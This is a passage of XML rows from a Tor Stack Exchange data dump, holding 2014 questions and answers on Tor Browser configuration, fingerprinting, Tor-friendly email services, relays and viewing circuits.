  <row Id="1345" PostTypeId="2" ParentId="1225" CreationDate="2014-01-24T10:33:41.227" Score="8" Body="&lt;p&gt;Except for reading through all of the plugin's or the extension's source code, there is unfortunately no way to make sure it is safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And some believed-to-be-safe extensions like AdBlock Plus will still reduce your anonymity somewhat compared to other Tor users, by creating a more unique network fingerprint (&quot;this user is the one that doesn't download the ads&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't really really need the plugin or extension, don't install it. By installing it you take a risk. The most obvious IP leaks by proxy bypassing Tor can however be detected using network sniffers like Wireshark, if you want to inspect the plugin somewhat before using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Java and Flash is known/believed to be NOT safe, DO NOT install any of them (in your Tor Browser) if you need anonymity.&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-01-24T10:33:41.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1347" PostTypeId="2" ParentId="1207" CreationDate="2014-01-24T12:37:06.050" Score="2" Body="&lt;h1&gt;Mail2Tor&lt;/h1&gt;&#xA;&lt;p&gt;There is also this one (apparently Tor friendly and completely free). It works, but I have only used it occasionally.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://mail2tor2zyjdctd.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mail2tor2zyjdctd.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You will get an @mail2tor.com address.&lt;/p&gt;&#xA;" OwnerUserId="962" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-01-24T12:54:39.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1348" PostTypeId="2" ParentId="934" CreationDate="2014-01-24T12:48:48.697" Score="2" Body="&lt;p&gt;Yahoo Mail is actively disabling Tor users e-mail account. At first you might think Yahoo Mail is a good choice for Tor, since the signup always works flawlessly (unlike other e-mail providers), but after using you account a few times they block it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is my repeated experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://tor.stackexchange.com/questions/1207/where-i-can-get-largest-list-of-tor-friendly-email-services&quot;&gt;here for a list of alternatives&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-01-24T12:48:48.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1349" PostTypeId="1" AcceptedAnswerId="1354" CreationDate="2014-01-24T15:14:23.853" Score="3" ViewCount="333" Body="&lt;p&gt;I just updated my Tor browser bundle program to the new one, but the programs that were always supposed to use Tor can no longer connect to the Internet (I kept the same proxy preferences) ... However, Tor Browser works perfectly !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what do I have to change on programs configurations to make things work as good as before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the old Tor version, I only used to change the SOCKS proxy to : 127.0.0.1 : 9050 on internet options and everything was working well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old version of Tor: 2.3 New Version: 3.5&lt;/p&gt;&#xA;" OwnerDisplayName="user980" LastEditorUserId="923" LastEditDate="2014-07-04T13:21:54.250" LastActivityDate="2014-07-04T13:21:54.250" Title="Can no longer access to internet with the new Tor browse bundle?" Tags="|tor-browser-bundle|socks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1350" PostTypeId="1" CreationDate="2014-01-24T15:36:53.270" Score="2" ViewCount="8189" Body="&lt;p&gt;Is there any pop-up block program that I can run while using my TorBrowser? Or is there a program that I am not seeing.&lt;/p&gt;&#xA;" OwnerUserId="1016" LastActivityDate="2015-05-08T13:27:41.340" Title="Pop-up blocker needed" Tags="|tor-browser-bundle|anonymity|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1351" PostTypeId="5" CreationDate="2014-01-24T20:00:23.933" Score="0" Body="" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-24T20:00:23.933" LastActivityDate="2014-01-24T20:00:23.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1352" PostTypeId="4" CreationDate="2014-01-24T20:00:23.933" Score="0" Body="Polipo is a web proxy which supports forwarding and caching. It was up to 2010 part of the Tor Browser Bundle." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-24T20:00:23.933" LastActivityDate="2014-01-24T20:00:23.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1353" PostTypeId="2" ParentId="1350" CreationDate="2014-01-24T21:17:21.237" Score="1" Body="&lt;p&gt;Tor or the Tor Browser Bundle does not include a special program or plugin which deals with pop-up blocking. Firefox has a builtin pop-up blocker which works for a large amount of pup-ups. Some websites can work around this blocker and open pop-ups. For this case you'll to set up special plugins.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-24T21:17:21.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1354" PostTypeId="2" ParentId="1349" CreationDate="2014-01-24T23:00:19.960" Score="2" Body="&lt;p&gt;The Tor process in the Tor Browser Bundle is configured to listen for SOCKS connections on port 9150.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to update the SOCKS configuration of the programs in question to use localhost:9150 as their socks proxy.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2014-01-24T23:00:19.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1355" PostTypeId="1" AcceptedAnswerId="1368" CreationDate="2014-01-24T23:19:14.440" Score="7" ViewCount="929" Body="&lt;p&gt;Tor users can be identified as Tor users one way or the other. Now Tails users are subset of Tor users. Can this subset be identified as Tails users? Or this subset can not be distinguished from other Tor users. The point being, anonymity is in numbers, and total Tor users are probably orders of magnitude larger than Tails users. If Tails user in any way become distinguishable from other Tor users, The probability that he can be de-anonymized will increase by orders of magnitude. &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="71" LastEditDate="2014-01-29T00:38:26.957" LastActivityDate="2014-11-01T23:17:30.920" Title="Using Tails, is one identified as Tails user or as general Tor user?" Tags="|fingerprinting|tails|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1356" PostTypeId="1" CreationDate="2014-01-25T02:33:50.580" Score="5" ViewCount="1950" Body="&lt;p&gt;I have the updated version of Tor, but there is no console after the Tor connection is made and the browser comes up. I would like to run a Tor relay but am unable to due to lack of Tor console. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1019" LastEditorUserId="107" LastEditDate="2015-05-31T20:28:29.587" LastActivityDate="2015-05-31T20:28:29.587" Title="How do I make my Tor Browser a relay?" Tags="|tor-browser-bundle|relays|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1357" PostTypeId="2" ParentId="1337" CreationDate="2014-01-25T07:18:28.457" Score="2" Body="&lt;p&gt;It is like when somebody offers webhosting behind Tor network, I think you can have as many as you want, depending on strength and bandwidth of your server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember correctly, freedom hosting had thousands of websites, everything at one server with 32GB RAM. and every site had its own onion domain.&lt;/p&gt;&#xA;" OwnerUserId="1020" LastEditorUserId="923" LastEditDate="2015-02-08T20:05:53.973" LastActivityDate="2015-02-08T20:05:53.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1358" PostTypeId="2" ParentId="1207" CreationDate="2014-01-25T07:21:18.577" Score="2" Body="&lt;p&gt;safe mail is israelian, it is like that mosad offer you email or NSA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vfemail.net&#xA;urssmail.org&#xA;mailtor.net (mailtoralnhyol5v.onion)&#xA;bitmessage.ch&lt;/p&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2014-01-25T07:21:18.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1359" PostTypeId="2" ParentId="1338" CreationDate="2014-01-25T08:14:04.983" Score="2" Body="&lt;p&gt;Tor can work on both Firefox and Chrome. Its like an add-on and not a browser in and about itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also install a button on your chrome to toggle Tor on and off which is much quicker than launching Tor again and again separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.takeaclick.com/how-to-guides/complete-updated-tor-guide-surf-internet/2071/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a good guide on how to do it plus some more tips and explanations that will help you better understand how Tor works.&lt;/p&gt;&#xA;" OwnerUserId="1021" LastEditorDisplayName="user5" LastEditDate="2014-03-03T17:08:05.733" LastActivityDate="2014-03-03T17:08:05.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1360" PostTypeId="2" ParentId="1302" CreationDate="2014-01-25T10:35:28.847" Score="2" Body="&lt;p&gt;I've found a simple solution - it seems this problem only appears on 0.2.3.x.  After upgrading to 0.2.4.x, the problem went away completely.  Incidentally, the CPU usage efficiency seems to have been drastically improved in the new version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is still somewhat problematic, as Tor in the standard Raspbian repos is still at 0.2.3.25.  Fortunately, it's easy to compile 0.2.4.20 from source according to the &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en#source&quot; rel=&quot;nofollow&quot;&gt;instructions here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="986" LastActivityDate="2014-01-25T10:35:28.847" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1361" PostTypeId="2" ParentId="1356" CreationDate="2014-01-25T14:13:24.687" Score="0" Body="&lt;p&gt;Tor's official instructions on how to run a relay:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/getinvolved/relays.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/getinvolved/relays.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="962" LastEditorUserId="962" LastEditDate="2014-01-25T14:24:10.720" LastActivityDate="2014-01-25T14:24:10.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1363" PostTypeId="1" AcceptedAnswerId="1367" CreationDate="2014-01-25T15:53:32.797" Score="3" ViewCount="125" Body="&lt;p&gt;Tor Browser Bundle version 3.5 for windows does not show any warning when a PDF file is about to download. Is it a feature or a Bug?&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-01-26T20:31:17.373" Title="I do not see a warning anymore when downloading a PDF file!" Tags="|tor-browser-bundle|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1364" PostTypeId="1" CreationDate="2014-01-25T23:53:07.577" Score="1" ViewCount="46" Body="&lt;p&gt;After successfully using Tor for several months I became unable to access any of the .onions. I've tried reinstalling Tor. It says that its working and I have no trouble connecting to any other sites via Tor. I'm having this problem on three different devices which rules out device settings. I did have a page pop up that said this account has been blocked to prevent DDOS attacks.So my question is who can I contact to get this &quot;block&quot; if thats what it is removed. I've been down for more than a week now and suspest there are a couple of folks out there wondering WTF. I appreciate any ideas, THANKS&lt;/p&gt;&#xA;" OwnerUserId="1003" LastActivityDate="2014-01-25T23:53:07.577" Title="Am I blocked from some Tor?" Tags="|directory|" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-05T21:19:09.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="1366" PostTypeId="1" AcceptedAnswerId="1387" CreationDate="2014-01-26T19:51:52.513" Score="2" ViewCount="572" Body="&lt;p&gt;Even after disabling Java Script Fonts are indirectly readable. Is there any patch for this issue?&lt;/p&gt;&#xA;&lt;p&gt;This is a warning I get from a test site.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Your installed fonts are indirectly readable by this website. A website may force loading web fonts, if the respective font is not installed on your local computer. If the site forbids font caching, the font will be reloaded on any access.&lt;/p&gt;&#xA;&lt;p&gt;The page may try to load hundreds of different font names using the &amp;quot;&lt;code&gt;@font-face&lt;/code&gt;&amp;quot; attribute. If the respective font is installed on your system, the website notices that it is not loaded from the server.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="923" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-01-28T16:11:37.607" Title="Even after disabling Java Script Fonts are readable. Is there any patch for this issue?" Tags="|tor-browser-bundle|security|javascript|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1367" PostTypeId="2" ParentId="1363" CreationDate="2014-01-26T20:31:17.373" Score="1" Body="&lt;p&gt;If you open the PDF inside the web browser it is safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you download it and then open it in another PDF viewer it is maybe not safe. If you believe a warning should be shown in this case, but it is not, you should report it as a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-01-26T20:31:17.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1368" PostTypeId="2" ParentId="1355" CreationDate="2014-01-26T20:49:33.747" Score="7" Body="&lt;p&gt;There is two different levels on which you can be identified as a Tor or Tails user. It is not clear from your question which you means, so I will answer both.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The website server you visit knows if you are using Tor or Tails&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Tails users can be identified as such by its browser fingerprint. For example, Tails comes with AdBlock Plus, and Tor Browser Bundle (TBB) doesn't. The configuration in the browser also differs somewhat in other regards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since most TBB users download ads, but most Tails users doesn't, that allows to guess whether you are a TBB user or Tails users. The exact list of ads Tails blocks is also fixed for a certain Tails release, so a TBB user that have installed AdBlock Plus will probably not have the same list, which makes the guessing even easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails does try to keep its fingerprint as close as possible to the Tor Browsers however, which of course makes it somewhat hard to fingerprint. It will probably keep improving further in the future, for example: Tails have discusses whether or not to remove AdBlock Plus in a future Tails release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See section &quot;3.11 Fingerprint&quot; in Tails design document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/contribute/design/#index4h1&quot;&gt;https://tails.boum.org/contribute/design/#index4h1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Your ISP or network admin knows if you are using Tor or Tails&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Tails does only send Tor traffic, whereas another operating system with TBB on will also sends non-Tor traffic (e.g. syncing clocks, checking for system updates, etc). If your computer only sends Tor traffic, it is probably Tails.&lt;/p&gt;&#xA;" OwnerUserId="962" LastEditorUserId="962" LastEditDate="2014-01-28T14:46:40.803" LastActivityDate="2014-01-28T14:46:40.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1369" PostTypeId="2" ParentId="1366" CreationDate="2014-01-26T22:13:25.903" Score="0" Body="&lt;p&gt;There is the ticket &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/9451&quot; rel=&quot;nofollow&quot;&gt;#9451&lt;/a&gt; in Tor's trac. It describes what to change to disable this feature. Go to the Preferences page of Firefox (see also this &lt;a href=&quot;http://www.bbc.co.uk/accessibility/guides/change_fonts/browser/linux/firefox3/&quot; rel=&quot;nofollow&quot;&gt;BBC page on how to change the fonts in Firefox&lt;/a&gt;), select Contents and in the Fonts section click on Advanced. Now a subwindow open and you'll find a checkbox with the text &quot;Allow pages to choose their own fonts, instead of my selections above&quot;. Uncheck it and you're done. When you reload &lt;a href=&quot;http://ip-check.info/&quot; rel=&quot;nofollow&quot;&gt;http://ip-check.info/&lt;/a&gt; the message should now disappear.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-26T22:57:48.690" LastActivityDate="2014-01-26T22:57:48.690" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1370" PostTypeId="1" AcceptedAnswerId="1373" CreationDate="2014-01-26T22:50:17.707" Score="4" ViewCount="656" Body="&lt;p&gt;When I set up a hidden service with Tor, will all clients connect over the same connection between the hidden service and the first relay/router?&#xA;What is the bandwidth that I can probably expect? &lt;/p&gt;&#xA;" OwnerUserId="1025" LastEditorUserId="923" LastEditDate="2014-03-06T08:00:46.880" LastActivityDate="2014-03-06T08:00:46.880" Title="How much bandwidth does a Tor Hidden Service have?" Tags="|onion-services|relays|client|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1371" PostTypeId="1" AcceptedAnswerId="1385" CreationDate="2014-01-27T00:06:43.233" Score="4" ViewCount="5145" Body="&lt;p&gt;I noticed that sometimes when I connect with Tor or get a new identity, I'll see an IP repeated. Is there any way to make it so Tor never repeats the same IP or gives the same IP less often? Or is there some way to add additional IP's to Tor so it has more it can connect to? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1026" LastEditorUserId="923" LastEditDate="2014-03-06T00:01:35.480" LastActivityDate="2014-03-06T00:01:35.480" Title="Is there a way to make it so Tor doesn't repeat the same IP or gives the same IP less often?" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1372" PostTypeId="1" CreationDate="2014-01-27T02:57:27.063" Score="2" ViewCount="4433" Body="&lt;p&gt;I cannot seem to access any onion site while on Tor.  It was working fine about a week maybe a week and a half ago, then all of the sudden it just stopped connecting to any onion site at all.  I have absolutely no idea what happened.  I am not very  good with computers so I am very curious and nervous about what happened  (whether I did something wrong) and what I can do to fix it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate some help with this matter.  Also if please be patient with me if I ask stupid questions on how to fix it.  I am afraid that I am not very tech savvy.  Thank you for the help!&lt;/p&gt;&#xA;" OwnerUserId="1028" LastEditorUserId="88" LastEditDate="2014-01-27T20:37:42.403" LastActivityDate="2016-10-29T13:23:07.550" Title="Tor hidden services doesn't seem to be working for me" Tags="|tor-browser-bundle|onion-services|" AnswerCount="0" CommentCount="10" ClosedDate="2017-04-21T20:38:41.180" ContentLicense="CC BY-SA 3.0" />
  <row Id="1373" PostTypeId="2" ParentId="1370" CreationDate="2014-01-27T10:01:21.277" Score="1" Body="&lt;p&gt;When you offer a hidden service, your Tor proxy builds a circuit to the rendezvous point. The client which are connecting to your service also build a circuit to the rendezvous point. The rendezvous connects both ends of the circuit (see the &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow&quot;&gt;hidden service protcol&lt;/a&gt;). You as well as the other side will probably have different relays which they are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of bandwidth estimations. However if you offering a popular hidden it may consume a large portion of bandwidth. Silk Road was one of the popular places. The site &lt;a href=&quot;http://www.gwern.net/Silk%20Road&quot; rel=&quot;nofollow&quot;&gt;Silk Road: Theory &amp;amp; Practice&lt;/a&gt; has some further reading. They link to a paper &lt;a href=&quot;https://www.andrew.cmu.edu/user/nicolasc/publications/Christin-WWW13.pdf&quot; rel=&quot;nofollow&quot;&gt;»Traveling the Silk Road: A measurement analysis of a large anonymous online marketplace«&lt;/a&gt;. Maybe you can find some traffic estimations there.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-27T10:01:21.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1375" PostTypeId="1" AcceptedAnswerId="1384" CreationDate="2014-01-27T15:39:12.157" Score="4" ViewCount="693" Body="&lt;p&gt;Can Creating bookmark in TBB add any security risk for user? Can anybody read  any of these bookmarks remotely?&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-12-29T04:42:59.157" Title="Can creating bookmark in TBB add any security risk for user?" Tags="|tor-browser-bundle|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1376" PostTypeId="1" CreationDate="2014-01-27T17:08:35.630" Score="5" ViewCount="2310" Body="&lt;p&gt;I would like to create an private exit node that only I have access, it will be set on my personal computer, then plan to create &quot;exit node&quot; to relatives who live USA and France so I can have a fully encrypted system for use with a vpn without worrying if the site is http or https. It is possible to do or is it safe to create this kind of &quot;private exit node&quot; with only people in my circle of trust, to use database and sensitive data sites?&lt;/p&gt;&#xA;" OwnerUserId="1031" LastEditorUserId="923" LastEditDate="2014-03-05T23:37:22.487" LastActivityDate="2022-07-12T20:39:13.390" Title="How to create a private exit node?" Tags="|tor-browser-bundle|security|exit-relays|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1377" PostTypeId="1" CreationDate="2014-01-27T18:21:50.787" Score="6" ViewCount="6283" Body="&lt;p&gt;I am currently using a Firefox Add-on which generates a random user agent string from a large list of user agents. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to protect myself from organisations and governments with a lot of resources. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I done this is that I thought if I used the default UA all the time my browser data would be static. My browser unique id would be persistent through my sessions, assuming they have methods of generating a unique id for each TOR Browser Bundle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this practice safe?&lt;/p&gt;&#xA;" OwnerUserId="1033" LastEditorUserId="71" LastEditDate="2014-01-27T20:36:16.040" LastActivityDate="2018-05-25T14:42:14.887" Title="Random user agent in Tor Browser" Tags="|tor-browser-bundle|fingerprinting|plugin|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1378" PostTypeId="1" AcceptedAnswerId="1382" CreationDate="2014-01-27T20:03:55.753" Score="5" ViewCount="2416" Body="&lt;p&gt;Is it possible to know which entry node, middle node, and exit node one is using while using TBB online. Also, be informed as node changes or additional nodes being added online while using TBB. &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-02-28T22:34:16.997" LastActivityDate="2015-11-28T23:54:48.230" Title="Is it possible to know which entry node, middle node, and exit node one is using while using TBB?" Tags="|tor-browser-bundle|exit-relays|guard-node|middle|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1379" PostTypeId="2" ParentId="1377" CreationDate="2014-01-27T20:22:36.373" Score="5" Body="&lt;p&gt;The developers of the Tor Project specifically recommend that you &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Don't enable or install browser plugins&lt;/a&gt;. Unless you're able to dig into the source code of the plugin yourself you'll never know what it's doing underneath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This particular plugin could do any number of presumably innocent things which could still expose your identity, including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It could report back to a central database each time you're given a new UA&lt;/li&gt;&#xA;&lt;li&gt;It could check for updates using an identifiable serial number&lt;/li&gt;&#xA;&lt;li&gt;It could have an unknown/accidental data leak which performs some action over a non-torified connection&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Tin-foil-hat-zone: It could even be developed by a nefarious agent (government or otherwise) and masked as a &quot;privacy tool&quot; whilst ultimately existing for the purpose of tracking/identifying you. Unless the plugin has been vetted &amp;amp; installed by default by the Tor Project you're trusting your privacy in somebody else's hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somebody else can probably comment further on the specific safety implications of rotating user agents like that, but keeping everything standard in the the Tor Browser helps align your fingerprint with every other Tor Browser. You're probably likely to stand out &lt;em&gt;more&lt;/em&gt; by rotating your UA this way. See &lt;a href=&quot;https://tor.stackexchange.com/q/1225/71&quot;&gt;this question&lt;/a&gt; for more on plugin fingerprinting in general.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2014-01-27T20:22:36.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1380" PostTypeId="2" ParentId="1378" CreationDate="2014-01-27T20:52:06.700" Score="3" Body="&lt;p&gt;You can use &lt;a href=&quot;https://www.torproject.org/projects/arm.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;arm&lt;/a&gt; for this purpose. arm is a command line program and it shows several information about the current running Tor instance. When you use the Tor Browser Bundle 3.5 you should enter the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arm -i 127.0.0.1:9151&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The TBB uses port 9151 by default. When the program has started you'll see an overview of the bandwidth usage. The right arrow (&lt;kbd&gt;-&gt;&lt;/kbd&gt;) brings you to the next window. Here you see information about circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VbAKD.png&quot; alt=&quot;arm circuit view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You see there are three circuits and information about guard, middle and exit node.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-29T23:06:52.473" LastActivityDate="2014-01-29T23:06:52.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1382" PostTypeId="2" ParentId="1378" CreationDate="2014-01-28T15:01:37.757" Score="3" Body="&lt;p&gt;This information have traditionally been available in Vidalia, the graphical controller that used to come with TBB (Tor Browser Bundle). Since TBB 3, Vidalia have however been replaced with Tor Launcher, the latter which still is missing information about which Tor nodes are being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you instead need to do until this functionality is implemented in Tor Launcher (if it will be), is to hook up a Tor controller to your started TBB. Jens Kubieziel's answer suggest using &quot;arm&quot;, which is one alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other alternative is to use the well-known Vidalia controller. See here for information on how to get and hook up Vidalia to your TBB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq#WhereDidVidaliaGo&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq#WhereDidVidaliaGo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;How to see which is guard, middle and exit&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Once Vidalia has started, go to &quot;View the network&quot; and you will see a list at the bottom with headers &quot;Connection, Status&quot;. That list lists all circuits currently open (for example it may say: &quot;IPredator,Unnamed,kramse&quot;, &quot;Open&quot;). There is usually a few different circuits open at any time. To see which one your Tor Browser is currently using, visit a website and you will see that some streams are listed just below the circuit they are using (for example &quot;qa.sockets.stackexchange.com:443&quot;, &quot;Open&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now click on that circuit and you will get information about it in the box to the right. There will be three Tor relays listed, with some additional information about them. The first one in the top is the guard, the second one is the middle node, and the last one in the bottom is the exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes circuits with only one node is listed. They are never used by Tor Browser. Also, all circuits are usually replaced every 10 minutes.&lt;/p&gt;&#xA;" OwnerUserId="962" LastEditorUserId="962" LastEditDate="2014-01-29T12:08:20.517" LastActivityDate="2014-01-29T12:08:20.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1384" PostTypeId="2" ParentId="1375" CreationDate="2014-01-28T15:39:42.870" Score="2" Body="&lt;p&gt;Your bookmarks cannot be read remotely (but see below). However, anyone that gains physical access to your computer can read them, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above statement about cannot be read remotely is not entirely correct. As mentioned &lt;a href=&quot;https://tor.stackexchange.com/questions/1303/is-it-safe-to-import-bookmarks&quot;&gt;here&lt;/a&gt; (as pointed out by Jens Kubieziel), if your bookmark is not an trivial URL (like &lt;a href=&quot;https://duckduckgo.com&quot; rel=&quot;nofollow&quot;&gt;https://duckduckgo.com&lt;/a&gt;), it may contain a unique identifier that enables the server you connect to to know you are the same one from before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A non-trivial URL may look like &lt;a href=&quot;https://www.google.com/imghp?hl=en&amp;amp;tab=wi&amp;amp;ei=AtjnUrO_MuXjywPXy4IQ&amp;amp;ved=0CAQQqi4oAg&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/imghp?hl=en&amp;amp;tab=wi&amp;amp;ei=AtjnUrO_MuXjywPXy4IQ&amp;amp;ved=0CAQQqi4oAg&lt;/a&gt;. You don't know if that extra stuff is a unique number for you (it probably is). Even just a simple number after the / may be unique to you.&lt;/p&gt;&#xA;" OwnerUserId="962" LastEditorUserId="962" LastEditDate="2014-01-28T16:20:48.437" LastActivityDate="2014-01-28T16:20:48.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1385" PostTypeId="2" ParentId="1371" CreationDate="2014-01-28T15:56:33.520" Score="2" Body="&lt;p&gt;There are many hundreds of Tor exit nodes you may get when choosing New Identity, each exit node of course with its own IP address. However, since not all Tor exit nodes is equally fast, Tor select the faster ones more often than the slow ones. This is necessary to avoid overloading the slow nodes, when capacity is available on the fast ones, but creates the problem that you are much likelier to get certain nodes (and therefore certain IP addresses) as exits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that you want another IP address because you are trying to evade IP blocking. In this case there is unfortunately not any feasible way to avoid getting the same IP address again, other than keep trying New Identity again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you absolutely want to ban one IP address so it never is selected, I believe this is possible to do by editing Tors configuration file. I do not know how to, and it 